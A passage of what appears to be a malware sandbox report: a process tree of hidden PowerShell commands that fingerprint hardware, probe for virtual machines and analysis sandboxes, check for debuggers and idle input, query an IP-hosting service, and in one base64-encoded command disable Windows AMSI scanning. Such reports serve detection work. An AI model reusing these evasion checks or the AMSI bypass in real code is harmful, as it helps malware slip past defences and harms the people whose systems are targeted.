    "C:\Windows\system32\cmd.exe" /c "wmic cpu get Name /format:csv"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5744
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic cpu get Name /format:csv
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic path win32_VideoController get Name /format:csv'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic path win32_VideoController get Name /format:csv"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2940
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get Name /format:csv
      4⤵
      Detects videocard installed
      PID:2564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic csproduct get uuid'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3348
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:864
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:1400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic logicaldisk where "DriveType=3" get Size /format:csv'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1776
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic logicaldisk where DriveType=3 get Size /format:csv"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:432
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk where DriveType=3 get Size /format:csv
      4⤵
      PID:1104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic path win32_VideoController get Name /format:csv'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4020
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic path win32_VideoController get Name /format:csv"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3104
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get Name /format:csv
      4⤵
      Detects videocard installed
      PID:3092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command [Environment]::TickCount
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4156
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\VMware, Inc.\VMware Tools 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3764
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\VMware, Inc.\VMware Tools
      4⤵
      Modifies registry key
      PID:2124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
      4⤵
      Modifies registry key
      PID:1412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2496
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4452
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest
      4⤵
      Enumerates VirtualBox registry keys
      Modifies registry key
      PID:1840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5836
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5340
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF
      4⤵
      Enumerates VirtualBox registry keys
      Modifies registry key
      PID:3712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3108
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\vmci 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4576
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SYSTEM\CurrentControlSet\Services\vmci
      4⤵
      Looks for VMWare services registry key.
      Modifies registry key
      PID:5080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4472
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:872
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs
      4⤵
      Modifies registry key
      PID:5784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4616
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4980
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL
      4⤵
      Looks for VMWare services registry key.
      Modifies registry key
      PID:2108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\QEMU" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1256
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\QEMU 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5728
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\QEMU
      4⤵
      Modifies registry key
      PID:4456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\Parallels" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\Parallels 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2116
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Parallels
      4⤵
      Modifies registry key
      PID:5792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\Wine" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\Wine 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1124
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Wine
      4⤵
      Identifies Wine through registry keys
      Modifies registry key
      PID:5872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3284
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn
      4⤵
      Looks for Xen service registry key.
      Modifies registry key
      PID:5268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3684
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4580
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
      4⤵
      Modifies registry key
      PID:5724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\Cuckoo" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5660
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\Cuckoo 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2088
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Cuckoo
      4⤵
      Modifies registry key
      PID:1476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\JoeBox" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5860
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\JoeBox 2>nul"
    3⤵
    PID:4908
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\JoeBox
      4⤵
      Modifies registry key
      PID:4292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'tasklist /FO CSV /NH'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3916
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "tasklist /FO CSV /NH"
    3⤵
    PID:5916
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO CSV /NH
      4⤵
      Enumerates processes with tasklist
      PID:3780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'getmac /FO CSV /NH'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1108
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "getmac /FO CSV /NH"
    3⤵
    PID:1568
  - - C:\Windows\system32\getmac.exe
      getmac /FO CSV /NH
      4⤵
      PID:3488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'driverquery /FO CSV'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5492
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "driverquery /FO CSV"
    3⤵
    PID:4072
  - - C:\Windows\system32\driverquery.exe
      driverquery /FO CSV
      4⤵
      PID:5076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  PID:4512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport("kernel32")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic computersystem get Manufacturer,Model /format:csv'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4992
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic computersystem get Manufacturer,Model /format:csv"
    3⤵
    PID:892
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get Manufacturer,Model /format:csv
      4⤵
      PID:2448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5372
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv"
    3⤵
    PID:2548
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv
      4⤵
      PID:5124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "(Get-Process -Id $PID).Parent.ProcessName"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'net use'"
  2⤵
  PID:5108
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "net use"
    3⤵
    PID:3844
  - - C:\Windows\system32\net.exe
      net use
      4⤵
      PID:5588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'tasklist /NH'"
  2⤵
  PID:4264
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "tasklist /NH"
    3⤵
    PID:5900
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH
      4⤵
      Enumerates processes with tasklist
      PID:5764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\MicrosoftQWindows\CurrentVersion\Uninstall" /s 2>nul'"
  2⤵
  PID:3840
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\MicrosoftQWindows\CurrentVersion\Uninstall /s 2>nul"
    3⤵
    PID:856
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\MicrosoftQWindows\CurrentVersion\Uninstall /s
      4⤵
      Modifies registry key
      PID:1252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic diskdrive get SerialNumber /format:csv'"
  2⤵
  PID:5320
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic diskdrive get SerialNumber /format:csv"
    3⤵
    PID:3124
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get SerialNumber /format:csv
      4⤵
      PID:5824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAAQAAnAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABOAHgASQBuACAAewAKAFsAUwB0AHIAdQBjAHQATABhAHkAbwB1AHQAKABMAGEAeQBvAHUAdABLAGkAbgBkAC4AUwBlAHEAdQBlAG4AdABpAGEAbAApAF0AIABwAHUAYgBsAGkAYwAgAHMAdAByAHUAYwB0ACAATABJAHsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAYwBiADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAZAB0ADsAfQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AbwBsACAARwBlAHQATABhAHMAdABJAG4AcAB1AHQASQBuAGYAbwAoAHIAZQBmACAATABJACAAaQApADsACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHUAaQBuAHQAIABHAGUAdABUAGkAYwBrAEMAbwB1AG4AdAAoACkAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AbwBsACAARwBlAHQAQwB1AHIAcwBvAHIAUABvAHMAKABvAHUAdAAgAFAATwBJAE4AVAAgAHAAKQA7AAoAWwBTAHQAcgB1AGMAdABMAGEAeQBvAHUAdAAoAEwAYQB5AG8AdQB0AEsAaQBuAGQALgBTAGUAcQB1AGUAbgB0AGkAYQBsACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AHIAdQBjAHQAIABQAE8ASQBOAFQAewBwAHUAYgBsAGkAYwAgAGkAbgB0ACAAeAA7AHAAdQBiAGwAaQBjACAAaQBuAHQAIAB5ADsAfQAKAH0ACgAnAEAAIAAtAEUAQQAgAFMAdABvAHAAOwAkAGwAaQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgACcATgB4AEkAbgArAEwASQAnADsAJABsAGkALgBjAGIAPQBbAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAE0AYQByAHMAaABhAGwAXQA6ADoAUwBpAHoAZQBPAGYAKAAkAGwAaQApADsAWwB2AG8AaQBkAF0AWwBOAHgASQBuAF0AOgA6AEcAZQB0AEwAYQBzAHQASQBuAHAAdQB0AEkAbgBmAG8AKABbAHIAZQBmAF0AJABsAGkAKQA7ACQAaQBkAGwAZQA9AFsATgB4AEkAbgBdADoAOgBHAGUAdABUAGkAYwBrAEMAbwB1AG4AdAAoACkALQAkAGwAaQAuAGQAdAA7ACQAcAAxAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAJwBOAHgASQBuACsAUABPAEkATgBUACcAOwAkAHAAMgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgACcATgB4AEkAbgArAFAATwBJAE4AVAAnADsAWwB2AG8AaQBkAF0AWwBOAHgASQBuAF0AOgA6AEcAZQB0AEMAdQByAHMAbwByAFAAbwBzACgAWwByAGUAZgBdACQAcAAxACkAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANAAwADAAOwBbAHYAbwBpAGQAXQBbAE4AeABJAG4AXQA6ADoARwBlAHQAQwB1AHIAcwBvAHIAUABvAHMAKABbAHIAZQBmAF0AJABwADIAKQA7AGkAZgAoACQAaQBkAGwAZQAgAC0AZwB0ACAAMwAwADAAMAAwADAAKQB7ACcAMAAnAH0AZQBsAHMAZQBpAGYAKAAkAHAAMQAuAHgAIAAtAG4AZQAgACQAcAAyAC4AeAAgAC0AbwByACAAJABwADEALgB5ACAALQBuAGUAIAAkAHAAMgAuAHkAKQB7ACcAMQAnAH0AZQBsAHMAZQB7ACcAMQAnAH0A
  2⤵
  PID:2724
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\s0hf5otm\s0hf5otm.cmdline"
    3⤵
    PID:112
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4282.tmp" "c:\Users\Admin\AppData\Local\Temp\s0hf5otm\CSCCBCDEB2CE36A496E9AB0435324BA52AE.TMP"
      4⤵
      PID:1332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAgAC0ARQBBACAAUwB0AG8AcAA7ACQAcwA9AFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4AUwBjAHIAZQBlAG4AXQA6ADoAQQBsAGwAUwBjAHIAZQBlAG4AcwA7ACQAYgA9AFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4AUwBjAHIAZQBlAG4AXQA6ADoAUAByAGkAbQBhAHIAeQBTAGMAcgBlAGUAbgAuAEIAbwB1AG4AZABzADsAJAB3AD0AJABiAC4AVwBpAGQAdABoADsAJABoAD0AJABiAC4ASABlAGkAZwBoAHQAOwAkAGMAPQAkAHMALgBDAG8AdQBuAHQAOwBpAGYAKAAkAGMAIAAtAGcAZQAgADIAKQB7ACcAMgAnAH0AZQBsAHMAZQBpAGYAKAAkAHcAIAAtAGcAZQAgADEAOQAyADAAIAAtAGEAbgBkACAAJABoACAALQBnAGUAIAAxADAAOAAwACkAewAnADEAJwB9AGUAbABzAGUAaQBmACgAJAB3ACAALQBsAGUAIAAxADAAMgA0ACAALQBhAG4AZAAgACQAaAAgAC0AbABlACAANwA2ADgAKQB7ACcAMAAnAH0AZQBsAHMAZQB7ACcAMQAnAH0A
  2⤵
  PID:1392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand KABHAGUAdAAtAE4AZQB0AEEAZABhAHAAdABlAHIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4AUwB0AGEAdAB1AHMAIAAtAGUAcQAgACcAVQBwACcAIAB9ACAAfAAgAE0AZQBhAHMAdQByAGUALQBPAGIAagBlAGMAdAApAC4AQwBvAHUAbgB0AA==
  2⤵
  PID:772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'net use 2>nul'"
  2⤵
  PID:1656
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "net use 2>nul"
    3⤵
    PID:6052
  - - C:\Windows\system32\net.exe
      net use
      4⤵
      PID:4936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand WwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AFcAcgBpAHQAZQBCAHkAdABlACgAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAYQBtAHMAaQBDAG8AbgB0AGUAeAB0ACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4ARwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACkALAAgADAAeAAwADQAKQA=
  2⤵
  PID:752
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "752" "2076" "2028" "2080" "0" "0" "2084" "0" "0" "0" "0" "0"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:3464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
